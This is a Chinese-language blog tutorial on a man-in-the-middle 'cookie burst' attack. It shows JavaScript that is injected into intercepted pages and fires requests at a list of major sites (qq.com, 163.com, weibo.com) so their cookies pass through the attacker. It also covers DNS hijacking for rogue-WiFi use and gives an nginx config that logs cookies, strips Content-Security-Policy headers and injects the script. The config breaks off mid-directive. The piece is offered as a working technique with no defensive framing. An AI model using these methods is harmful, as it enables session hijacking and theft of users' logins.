# 中间人攻击 — Cookie喷发
0x00 前言
=======
* * *
分享个中间人攻击姿势,屡试不爽。
原本[是篇老文](http://www.cnblogs.com/index-html/p/mitm-cookie-sniffer.html),不过写的太啰嗦。今天用简明的文字,重新讲一遍。
0x01 原理
=======
* * *
传统 cookie 嗅探,只能获得用户主动访问的站点。不访问就抓不到,效率很低。
如果流量可控,不如在用户访问的页面中注入一个脚本。通过脚本,就可以请求任意站点:
“`
new Image().src = ‘http://anyhost’
“`
因为请求头部会带上 cookie,所以能把任意站点的 cookie 骗上流量,让中间人拿到。
0x02 爆发
=======
* * *
首先收集各大网站域名,然后挨个来一发:
“`
var list = [‘qq.com’, ‘163.com’, ‘weibo.com’, …];
for (var i of list) {
new Image().src = ‘http://’ + i + ‘/__cookie’;
}
“`
这样,就能把用户各种网站的 cookie 都爆上一遍。
后端收到`/__cookie`请求,记录其中的 cookie,然后返回一个空内容。于是只需极小的流量,就可以测试一个站点。
0x03 优化
=======
* * *
因为收集了各种站点,所以需要大量的域名解析。
为了让爆破更快,可以再劫持用户的 DNS 请求,暂时解析成自己 IP,这样域名查询就不用走外网。
“`
DNS
<----->
用户 中间人 外网
<----->
HTTP
“`
同时还有个巨大的好处:整个系统不依赖外网,可以离线劫持!
比如在没互联网的地方,开一个 WiFi 就能攻击。
0x04 演示
=======
* * *
我们用 nginx 来演示:
“`
# nginx.conf
http {
resolver 114.114.114.114;
…
log_format record_cookie ‘$time_iso8601 $remote_addr $http_host $http_cookie’;
# 静态资源
server {
listen 8080;
server_name m.io;
gzip on;
#expires 1d;
root /path/to/;
}
# 代理服务
server {
listen 8080 default_server;
server_name _;
gzip on;
location / {
# 请求的是 html 资源,进入劫持流程
if ($http_accept ~ “text/html”) {
rewrite ^ /__html;
}
# 其他资源,正常代理
proxy_pass http://$http_host;
}
# 页面注入
location = /__html {
internal;
# 压缩的内容无法 sub_filter,先解压
proxy_set_header host $http_host;
proxy_pass http://127.0.0.1:50000$request_uri;
# 删除 CSP 头,防止被阻挡
proxy_hide_header Content-Security-Policy;
# 注入脚本
sub_filter
请登录后查看评论内容